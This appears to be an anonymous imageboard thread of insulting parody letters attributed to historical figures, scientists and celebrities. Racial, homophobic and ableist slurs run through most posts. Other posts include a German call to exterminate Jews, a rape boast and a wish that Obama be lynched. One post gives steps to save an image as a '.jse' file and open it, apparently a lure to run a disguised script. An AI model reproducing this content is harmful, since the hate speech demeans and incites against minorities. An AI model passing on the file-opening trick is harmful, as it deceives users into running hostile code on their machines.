Potentially epic thread...

Dear Newton,

Fuck you, you cock gargling fuck. You think discovering gravity is tough, you stupid piece of shit? Try analyzing Brownian motion. I actually did shit… you just looked up fucking tree for fucking apples to eat. Leave the science to the real men.

Sincerely Yours, Einstein


P.S. You are what you eat, you fucking butt pirate.

Yes. You invented gravity. Makes perfect sense.

isaac was a true /b/tard, died a virgin

oh man, bracing for epic...

tmyfm

Filthy niggers;

if it wasn't for me, all of you would be picking up trash at the suburbs of your city.

Regards

PS: Go fuck yourselves, all of you.

-Pythagoras

Dear Faggots,

I created the Universe. I screwed a virgin and she remained a virgin, and I gave birth to myself. Also, I sound like Darth Vader. So, suck my cock.

Sincerely,

God

Hey guise! what's going on in here?

Do I even need to defend myself?

PS. You guys are all dead bitches, so shut the fuck up.

-John Carmack

>>109917407


FFFUUUUUUUUU-

NO ME

Sincerely, God

P.S. I will smite all trolls for teh lulz

Dear God,

Fuck you. I made you. So don't you fucking take credit for all my shit, you stupid douche fag.

Sincerely,
Nothing.

Dear Stephen Hawking,

Quit trying to out do me you wheelchair bound cocksucker! You will never prove my theories incorrect. You are just a jealous cripple with no original ideas. I may be dead but at least I can still walk. I hope your colostomy bag pops.

Your's Truly,
Albert Einstein

Holy shit, I just noiticed that Sir Isaac Newton looks just like Brian May of the rock group Queen.

DEAR FUCKERS
I can save what I write to disk. I write papers using a formatting program called TEX. I can write equations in words, and the program translates them into symbols, and prints them out on paper in the appropriate type. I can also give lectures. I write the lecture beforehand, and save it on disk. I can then send it to the speech synthesizer, a sentence at a time. It works quite well, and I can try out the lecture, and polish it, before I give it.

TLDR:
FUCK YOU

Filthy niggers. You are mere copies of the idel world of Forms. If it wasn't for me you fucks would still be mythicizing about monsters adn shieeet.

FFFFFFFFFUUUUUUUUUUUUUUUUUU-

You have my undivided attention OP

these threads are the best thing on /b/ in months.

>>109918071
I bet you mean the other way around

God wins

>>109915809
>>109915809
>>109915809
>>I invented motherfucking gravity

yeah, what

Dear EVRY1,

If it wasn't for me, you'd all be in hell with Satan and missing out on all teh lulz.

Sincerely, Raptor Jesus

Dear Nothing,

There is no such this as Nothing.
So, shut the fuck up and stay NOTHING.

Sincerely,

Something

toasting in epic bread

CAP THIS SHIT NIGGER

Dear Einstein,

If it wasn't for me you wouldn't even be able to prove that you exist, you cock gobbling Hiroshima murderer.

Sincerely, Rene Descartes

Hey guys! Check out this thing I just made. It shoots lightning, cures cancer and generates food for half a million people. It runs off of carbon.

>>109918023

Dear Newton,

Fuck you faggot. You stole my ideas and research. You're a bitch ass nigga.

Sincerely, Nikola Tesla.

P.S. I blew a hole in Siberia lol.

Dear everyone,

How the fuck do you stupid niggers think you'd be able to have theories remembered without the help of me? I was the first fucking written language, and you stupid fucks would have no way to write without me.

Sincerely,
Egyptian Hieroglyphics

Dearest fucksticks,
IMMA genius-level intelligence (such as a talent for memorizing facts and an intuitive ability to prove sophisticated mathematical theorems)
EAT MY COCK

>>109918845

According to Biography channel Einstein didn't take aprt of anything realted to the bomb

Dear all of the above,

LOL

Sincerely,
Guy Debord

>>109917407

I fucked up your shitty design with my theory of evolution! I proved that men evolved from monkeys who evolved from niggers who evolved from primordial amino acids and shit, so shut up and get your ass back in ancient Israel where it belongs, you fucking Jew!

~Sincerely, Darwin

>>109919326
Cuneiform predates heiroglyphics by millenia.
Explain that shit, you bitch-ass pictures.

>>109917108
Dear Faggot,
Why don't you do your own math like a real man instead of having your faggy little cult members do it for you?
Sincerely,
Archimedes

Dear scientists,

I cut off gas supply so you fagoots freeze your warm asses in the labs.
Fuck y'all.

Sincerely, comrade Putin

Dear Putin,

You ain't shit compared to me. Try killing 20 million of your own citizens and defeating Hitler faggot!

Sincerely, Stalin

dear human race..

I'll gat yo mofuckas

-DeathSnail

HEY CUNTS
a Sunday column in Parade magazine in which she solves puzzles and answers questions from readers on a variety of subjects.
DIE

Dear Faggots

I Invented the Internet

Sincerely, Fuck you.
Steve jobs

>>109920396
FUCK YOU DEATH SNAIL
I GOTS YO NUMBAH

Dear Present and Future,

G'luck. LULZ

Sincerely,
Nostradamus

Dear Monkey Boy,

I created everything! Don't you understand that, Douchebag? BTW, I'm not Jewish, you Nazi.

Sincerely,

Absolute Reality

Dear gentlemen:

First of all, I'm motherfucking 2D, faggots. And second of all, I had wincest with my sister. Beat that, niggers!

Sincerely, Dexter.

Hai Guize,

I herd we were talkin about some deep smart people stuff and I made this movie about smart stuff once so I can hang

You'res`

Matt Damon

>>109915809
THEIRS NO SUCH THING AS GRAVITY YOU FUCKING SIMPLETON, ITS A THEORY

>>109920916

DON'T make me come up there.

>>109920555

Steve Jobs you cockgargling shitstain, you know god damn fucking well I invented the internet.

Fuck you and your gay-ass turtleneck.

>>109918023

is henri poincare gonna have to choke a plagiarist?

fuck yo shit

Wow, this thread got real gay really quickly.

>>109921082

It's a theory DIPSHIT. It must be proven wrong to BE wrong. Noob. Go to school.

Yours Truly,
Isaac Newton

>>109921640
DUDE!? are we gonna bash up that little jewish fuck?

i am so there!

Dear all,

I invented the Poke'Ball.

Without me you could not try an' catch em' all when you were kids playing Poke'mon red & blue.

Sincerely,
Professor Oak

P.S. Fuck all you real life fagots.

Gentlemen

I might bring this into Physics tomorrow.

Meow Meow,

Meow meow meow meow meow. Meow meow meow, MEOW MEOW!!!

Meow,

Cat

>>109920555
>>109921466

You niggas think you can steal my invention, well my new top-domain is whopass and you ain't getting any.

Also I request a comment!

-Vint Cerf

>>109921796
GODDAM YOU STEALING MY IDEAS FROM A PAMPHLET YOU BOUGHT IN GERMANY!

YOU BIG GAY FUCK!

I invented lightning and the $100 bill!

Epic thread until half, then ruined by fuckheads

dear everyone, if it wasnt for me you'd all be speaking german and not using computers.

signed,
alan turing.

>>109919188
newton stole your ideas 200 years after dying? now thats a trick i would like to see.

>>109921796
Is "Prove me wrong" still a bannable offense?

And somebody please screencap this epic thread.

Pic unrelated

Dear inferior race.

>:3

Sincerely
Ralf McRoach

dear everyone in this thread.

i challenge you to have written more than i have.

-- paul erdos.

Dear Alan Turing,

If it wasn't from me you would have died prematurely on a napkin so GTFO.

Sicerely, your mom

>>109922743
i like the brawling nature of the last half: if you have ever seen physicist fight, its about right.

but the fucktarded Dr Oak shit lets it down.

Dear ay-body

watchu niggas know bout peanuts n shit? i stay making dat niggers and i know yall love dat shit. fuck yall and respect a nigga grind, and make sure yall know who made day niggers u be eatin

sinsirly,
george washington carver

Dear Fuckers,

If it wasn't for my genius, there would be no harry potter books. So suck a wizard cock.

Sincerely,
N. Flamel

look fuck head if it wasnt for me you would all still be eurofags and you there would be no dollar bill!!

dear all you bitches,

who the fuck do you think you are? not only did i make great strides with respect to empiricism and epistemology but my political theories with respect to social contracts laid the framework for modern government. without me you wouldn't have a free country to practice science in.

sincerely, john locke

>>109923349

YOU MADE ME GAY!

>>109923681

DEMOSTHENES SAYS OTHERWISE YOU TUDOR LACKEY!

>>109922215
Dear cat, don't even try to bring me into this fucking thing.

Sincerely, L. Ron Hubbard

Dear, Star Wars

Fuck your movies, they suck more than your mom with a vacum on a saturday night. Sulu was gay but Yoda got fisted everytime he came on screen. I have epic badass accents like Scotty, us-a have-sa gayass-sa jar-jar-binksa.

Sincerly, Star Trek

Dear All,
I laid the foundations for the most precise theory known to mankind.

Dear Einstein,
you were wrong bitch, Quantum Mechanics is more right then your relativity

Dear Newton,

Fuck your shit, asswipe. Think you can jack my work and take all the credit? I invented calculus, you dipshit. Take the integral of my cock and divide it by your face.

Sincerely, Leibniz

gf einstein and hubbard fking brothers in crime

Dear, Star Trek


I hate you, you gay ass show. My movies are at least two times longer than your show, just like my dick is two times longer than yours. I’m a muthafucking movie extravaganza, bitches come from everywhere to check me out. What the fuck are you good for? Luke Skywalker went on to be the voice of the fucking Joker, while Mr. Sulu decided he wanted to spend the rest of his life taking cocks in the ass.

Yours Truly, Star Wars: The Original Trilogy

P.S. My bitches got Cinnabons on their head.

Dear Everyone,

Having measured and observed everything ITT, I can assure you that you are all wrong. I am much more principled.

I think. I'm uncertain.

Sincerely...
You Lost

Dear All You Bitches,

You assmonglers wouldn't know how to count your dick if it wasn't for me. You know how many dicks that is?

No dicks, ah ha ha.

Your Friend, Count Von Count.

P.S. You have no dicks because you're all bitches.

Dear John Lock,

Fuck you, you idealist, ultra theorized bitch. No objective morals exists, no value exists, no right or bad. So all your theories are useless you fuckin virgin twat.

Sicerely, Friedrich Nietzsche

Dear, Star Wars

Fuck your movies, they suck more than your mom with a vacum on a saturday night. Sulu was gay but Yoda got fisted everytime he came on screen. I have epic badass accents like Scotty, us-a have-sa gayass-sa jar-jar-binksa.

Sincerly, Star Trek

Hey guys,

I'm from Europe and I'm here in India looking to trade. We have shiny objects and white women that make great food.

Fomerly,
Chris

Sincerely,
N. Flamel

>>109922973

Shit. I just remembered it was Edison. That nigger must be messing with my memory too.

Step back you pozzercuntz.
It was I who put da niggah in da house.
Word.

>>109921999
Dear all,

You know what's the matter guys? Everything is matter.
I am the last scientist to become famous.
So fuck off as I bask in all of your prestige for myself!

Sincerely,
Bill Nye, the Science Guy!

ITT: chemo
and possibly the only good thread in a while

Dear Phil Anselmo,

Fuck you, fuck your heroine abuse, fuck your "Dimebag deserves to be severely beaten" fuck you, you retarded nigger. I'm dead and it's your fault.
Your former friend,
Dimebag Darrell
P.S. Nathan Gale can suck dicks in hell

posting in epic thread

Dear God,

Don't Say Shit. I'll fucking bomb your ass

Sincerely,
Mohamed

>>109924582
dear nietzsche,

fuck you, i created the definitive and final philosophical, moral, and economic system. it is only through my theories that rational people will archive happiness god may be dead but i live on

sincerely, ayn rand

Dear Anons,

WIR MUSSEN DIE JUDEN AUSROTTEN

Hey Pickle Pirates,
While you were all hammering out useless mathematical bullshit we STILL don't have the facilities to prove, I was busy playing god. Suck it horse fuckers!

PS-I also showed why you need to stop fucking your sisters! LOL

dear Star Trek
Fuck you! You gay ass Niger star wars will always be better and more famous than star trek ever will be hands down no competition so suck it bitch

dear Star Trek
Fuck you! You gay ass Niger star wars will always be better and more famous than star trek ever will be hands down no competition so suck it bitch

To whom it may concern,

I think you're all pretty cool guys.

Much love,
EFG

>>109924986
dear bill nye,

nigger please, i am the last famous scientist. not only did i invent memes but i troll christians daily with my mad biology skills...fuck you and your tv show

sincerely, richard dawkins

Dear Dicks,

I just thought that I should remind you that you want to have sexual intercourse with your mother and you're father is going to castrate you.

-Freud

p.s. my cigar is never just a cigar

Dear old white dead scientists,

You all know that I am the most intellectual of the lot.
Therefore fuck you all you can suck my morally rational dick.

Yours Truly,
Immanuel Kant

>>109925257
.....that women can actually think.

PS-TITS of GTFO

Fuck you guys, i've got 3 blue eyes white dragons..

i will fuck you up

Dear smart guys,

Ever hear of "Girls just wanna have fun"? Well now it's stuck in your head. Fuck you.

Time after time, Cyndi Lauper

>>109925780
dear michio kaku,

you think you are a scientist, nigger please. you are a pop tv icon. everyone knows string theorist don't make predictions they just make fucking excuses. take your junk science back to the scrap heap and leave the real heavy lifting to the professionals

sincerely, richard feynman

>>109924986
>>109925684
Dear Bill Nye & Dawfag,
Even though you may teach my children about how butterflies evolve, with your biology shit, I am far more famous than your stupid ass public television show ever was or your stupid ass speeches and books will ever be. I invented the unified string theory. I am solving the unsolvable. I will see into the mind of god. Plus, I invented the view of the future on the Discovery Channel.

Sincerely, get bent
Michio Kaku

>>109925273

Dear Hitler,

Way to steal my mustache, go an hero.

XOXOXO,
Charlie Chaplin

Dear Ayn Rand,

You're just a cumdumpster. Tits or GTFO. There no real women in philosophy except Simone de Beauvoire, you just spoke about shit written before in the 19th century for american fuckheads who don't know shit.

Sincerely, Friedrich Nietzsche

PS: Hitler, i hope you burn in jewnferno. Heil Schroder!

Hey /b/tards
If it were not for me this thread would not exist.
If it were not for me you all would have to define yourselves some other way.

Yours, Mootles

Drizzle + Hydro Pump = Your All Fucked

Sincerely,
Kyogre

>>109926834
check out the nigger's hand. look's like it belongs to a poltergeist

Dear everyone,

I invented 4 chan :D
...
...
...

nuff said

Sincerely,
moot

Dear /b/itches,

Youre all wanna-be scientists. Call me when you grow balls enough to do science AND THEN EAT THAT SHIT.

Sincerely,
Alton Brown

P.S. I will fucking cut you

>>109924371
I lol'ed

>>109926781
I hate Ayn Rand.

Thread is full of win

>>109926834
>>109927315
dear moot,

you know who i am you little bitch? thats right i invented the internet and fucking global warming. without me there would be no 4chan, so take your little prepubescent attitude and cry to your fucking mother.

pace, al fucking gore

Heh Heh...
You wankerz!
I made so youse could fapfapfap with pride.
A defining moment in world history.
Can't a nigger get some credit?

Love xoxox

Pee Pee Sperman

Dear everyone,

Without me you'd all be living in the dark with candles. You know what darkness means? Niggers. That's fucking right - your hot ass white chicks would be getting raped by niggers nonstop. But I not only invented tons of things, but I have you guys the fucking light bulb using Tungsten as a conductor. Thank me for creating the kryptonite for niggers.

-Edison

P.S. Yeah I raped a girl before I made the light bulb too, so what? Fuck off.

Dear Husserl,

You are a hack and a jew.

Yours truly,

Martin Heidegger

P.S. Hitler rulz

>>109928630
Well, can't argue with that

>>109922741
PFT, 2 INVENTIONS! WHAT A PUSSY!

Dear /b/,

there is no god
there are no politics
there is no peace
there is no love.

there is no control
there is no plan.

stay away from god
remain disturbed

slide.

Sincerely, Charles Bukowski

>>109928630
dear edison,

nigger you best leave the science to the scientists. you were a fucking tinkerer who didn't have any concept of theory. instead of wasting times on dead end designs you should have learned how to fucking theorize. and my ac was shit tons better then your fucking dc

sincerely, nikola tesla

Dear Philosophers. Without me you wouldn't even exist. I make people answer questions so they can figure shit out themselves instead of it being rammed down their throat by some unused intellectual dick.
You niggers wouldn't even be able think about anything without me.

ARCHIVE THIS THREAD NAO

1. http://4chanarchive.org/brchive/main.php?mode=submit
2. Enter board ID (109915809) and captcha
3. ????
4. PROFIT!

Dear Sciencefags,
I just wanna tell you how I'm feeling
Gotta make you understand


you know the rules and so do I...

Sincerely,
Rick Astley.

>>109929325
Well EXCUSE ME, Socrates!

When I found you, you were just a fucking bum on the street. Sure you said some good shit but nigga please, YOU NEVER WROTE NOTHIN DOWN. It was up to ME to write down every single fucking thing you said. Plus, I made Plato's Academy AND taught Aristotle. So fuck you.

Dear Socrates,

Dude, learn how to write, srly.

Regards,

Philosophy

>>109929814
Game Over

>>109929325
Dear Socrates,

Who the fuck do you think you are, taking credit for philosophy. If it wasn't for me, you'd be rememberd just for wiping your ass with straws

Sincerely yours, Thales from Milletus

PS: Fuck you, you haven't even written anything, you are remembert just beacause Plato made you a character in his dialogues

>>109928665
>>109928665

oh, this makes me so happy.

back to metaphysics readings for me...

Posting in epic thread.

Dear 4chan, my inner desire is to become a camwhore
how can I achive this.
with regards
4chan

>>109927453
Fuck you, you balding, boring faggot.

I made this delicious pie in 30 mins.
Plus all of /b/ wants to eat my NUMMER MUFFINS.

~Sincerely Rachel Ray

>>109923289

You fail.

Charles Dickens

Dear Hitler,

Third reich peice of shizza, go eat vegtibles and die. You fucking fruit bag, thanks to you my brother is now snortable. How could the world not take you down faster you vegitarian painting midget.

Sincerly, Jews

P.S. Our dicks are still twice as big as yours, even after circumcision.

>>109922215
the only thing that made the lol in the entire thread

dear everyone,

what the hell are all you doing? don't you fuckers realize your science is being used to oppress the fucking proletariat, you are nothing but tools for your bourgeois masters. you all best get involved in the struggle of the working class.

with peace and love, karl marx

Yo Dicksuckers,
All you whiteass oldfolk best be jokin. who gives a fuck about all y'alls mothafuckin scientific achievements, I managed to take power over an entire nation and suck Sarah Palin's pussy. Take that up the butt, assclowns.

>>109929325
honestly i think youre prety cool

archive this thread. need a few moar.

Nigger approves

Dear Schopenhauer,

Cheer the fuck up. Grow some cojones. I have fuckin syphillis and my work is almost as epic as my badass tasche.

Yours truly,

Friedrich Nietzsche

Dear Mr. Newton,

I think gravity is a discovery, not an invention!

Sincerely,

Slowpoke

Dear Santa,

Can I have a big black dick for christmas?

Sincerely,
Paris Hilton

Hey Faggots,

My name is John, and I hate every single one of you. All of you are fat, retarded, no-lifes Honestly, have any of you ever gotten any pussy?

Don't be a stranger. Just hit me with your best shot. I'm pretty much perfect. I was captain of the football team, and starter on my basketball team. What sports do you play, I also get straight A's, and have a banging hot girlfriend (She just blew me; Shit was SO cash). You are all faggots who should just kill yourselves. Thanks for listening.

Pic Related: It's me and my bit

>>109932475
should see
>>109918151

1. Open this image (you'll see an error message).
2. Save it as 4chan.jse
3. Open the file you just saved.
4. ???
5. Shit bricks.

Dear President Obama,

Fuck you, you job stealing nigger. If it weren't for me, what would you be doing, eating at a KFC in Chicago and fucking Blagojevich and Al Sharpton up the ass? I started TWO wars, that's right nigger, TWO. All in the name of AMERICA. I also found Saddam(but no WMDs). I got two hot daughters, while your loli nigger kids won't do shit on office but eat watermelon and steal bikes. I hope you get lynched.

Sincerely, George W. Bush

P.S. I'M RETIRED, FUCK YEAR.

Dear White Boys and Niggers,

Fuck you! I sat on my ass and became Enlightened. I'm now on every Chinese restaurant, and all hippies and gay/lesbians love me. I known the meaning of everything and some muppet in Star Wars is impersonating me. Keanu Reeves wants to be be and he's The One. You can call kiss my ass.

Love,

The Buddha

P.S. who the fuck woke me up?

>>109930771
Yeah I bet Obama haven't had any help by any of these guys theories, he's just educated as college teacher and lawyer.

HE JUST A DUMB NIGGA RITE???

archive epic thread.

Dear /b/tards

I invented motherfucking memes

dear the world, i invented global warming. now all of you are paying higher prices for shit to make the world "greener". i did it for the lulz.

sincerly, Al Gore.

>>109934291
don't forget Harvard grad, cockjism

>>109934751
fucking win

Dear Buddha

Fuck you, Your inner peace annoy the fuck outta me, go suck some monk's dick

Love, Actionpencil

>>109926266

Dear Rand, your ethical and philosophy isnt close cause you only think in niggers ans their cocks.

Yours, David Friedman

>>109934470

winrar

A challenger appears.

Dear Various People who created This or That,

You are all to be lauded for your contributions to the universe. Unfortunately, I have already re-invented everything that ever was. I also had a light lunch of celery and the blood of my enemies.

With much love,
Colonel Jade Curtiss

Dear all,
i'm the only god damn person to ever make a simple machine bitches
suck on deez nuts

>>109936057
WHAT!? Are you calling me a little ant so small that you can squish with your foot?!? FUCK YOU!

Look, I don't care what you or anyone have done in this thread, because I'm pretty fucking sure I'm the only one who knows science and alchemy.

P.S. Fuck you all. I will now transmute this thread into 404.

>>109920991

Winrar.